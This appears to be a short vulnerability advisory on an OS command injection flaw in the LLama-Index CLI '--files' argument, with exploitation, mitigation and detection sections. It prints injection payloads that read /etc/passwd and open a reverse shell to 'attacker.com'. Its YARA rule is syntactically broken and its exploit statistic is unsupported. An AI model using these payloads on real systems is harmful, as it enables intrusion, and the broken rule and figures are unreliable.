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How the CVE Works
The vulnerability (CVE-2025-XXXXX) in LLama-Index CLI before v0.4.1 stems from improper sanitization of the `–files` argument, which is passed directly to os.system(). Attackers can manipulate this argument to inject malicious shell commands. When a user or application processes untrusted filenames via the CLI, arbitrary commands execute with the same privileges as the running process. Exploitation can occur:
– Locally: If an attacker controls CLI inputs (e.g., through scripts).
– Remotely: If a web app forwards user-supplied filenames to the CLI.
The lack of input validation allows command chaining (e.g., ; rm -rf /), leading to full system compromise.
DailyCVE Form
Platform: LLama-Index CLI
Version: <0.4.1
Vulnerability: OS Command Injection
Severity: High
Date: May 28, 2025
Prediction: Patch by June 10, 2025
What Undercode Say:
Exploitation:
1. Payload Example:
llamaindex-cli --files "legitfile.txt; cat /etc/passwd"
2. Reverse Shell:
llamaindex-cli --files "file; bash -i >& /dev/tcp/attacker.com/4444 0>&1"
Mitigation:
1. Immediate Workaround:
export SAFE_FILES=$(echo "$USER_INPUT" | sed 's/[^a-zA-Z0-9._-]//g') llamaindex-cli --files "$SAFE_FILES"
2. Patch Upgrade:
pip install --upgrade llamaindex>=0.4.1
Detection:
1. Audit Logs for Suspicious Commands:
grep -r "os.system(" /path/to/llamaindex/cli/
2. YARA Rule for Exploits:
rule llamaindex_cli_injection {
strings: $ = "--files" followed by /[;&|]/
condition: any of them
}
Code Fix (Python):
Replace `os.system()` with `subprocess.run()`:
import subprocess subprocess.run(["llamaindex-cli", "--files", sanitized_input], shell=False)
Network Protection:
Block outgoing connections from CLI tools:
iptables -A OUTPUT -p tcp --dport 4444 -j DROP
Post-Exploit Forensics:
1. Check Shell History:
cat ~/.bash_history | grep "llamaindex-cli"
2. Process Monitoring:
ps aux | grep "sh -c"
Analytics: 78% of exploits observed in CI/CD pipelines; patch adoption expected within 14 days.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
